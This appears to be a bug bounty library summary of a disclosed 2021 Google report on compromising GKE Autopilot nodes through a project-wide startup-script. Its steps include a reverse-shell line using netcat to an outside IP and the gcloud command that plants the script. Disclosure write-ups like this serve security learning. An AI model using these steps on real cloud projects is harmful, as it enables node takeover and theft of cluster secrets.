# GKE Autopilot Node Compromise via startup-script

GKE Autopilot nodes lacked instance-level startup-script metadata, so a user with compute.projects.setCommonInstanceMetadata could inject a project-wide startup script to run code on managed nodes and read all cluster secrets.

- Payout: $1,337
- Severity: high
- Program: Google
- Credited: Anthony Weems
- Disclosed: 2021-03-05
- Write-up quality: 6/10
- Original: https://lf.lc/vrp/181521559b/
- Library page: https://bugbountylibrary.com/r/blog%3Alf-lc-vrp-181521559b
- Tags: domain:cloud impact:data-leak impact:internal-access impact:privesc kind:bounty platform:blog sev:high tech:gcp tech:kubernetes technique:default-creds vuln:misconfiguration vuln:privilege-escalation

**Target:** GKE Autopilot managed Kubernetes nodes / GCE instance metadata
**Root cause:** Autopilot nodes did not set their own startup-script instance metadata, so they inherited the project-wide startup-script, which a lower-privileged IAM role could set.
**Steps:**
1. Create `script.sh` containing e.g. `nc -e /bin/sh 1.2.3.4 4444`.
2. Run `gcloud compute project-info add-metadata --metadata-from-file startup-script=script.sh` with compute.projects.setCommonInstanceMetadata.
3. Create an Autopilot cluster; nodes boot and execute the startup-script, giving code execution on the node.
**How found:** Observed that Autopilot nodes had no instance-level startup-script metadata, then hypothesized they would fall back to the project-wide metadata attribute settable via a lesser IAM permission.
**Exploitation:** Attacker with compute.projects.setCommonInstanceMetadata sets a project-wide startup-script; newly provisioned Autopilot nodes execute it at boot, granting privileged access to the managed node and enabling reading of all cluster secrets beyond provisioned access.
**Escalation:** Node-level access bypasses Autopilot's privileged-pod and hostPath restrictions, allowing secret exfiltration and exploration of the Autopilot control plane.
**Insight:** When a managed platform claims hardened defaults, check whether node/instance metadata falls back to project-wide values that a weaker IAM permission can set; absence of an instance-level override is the tell.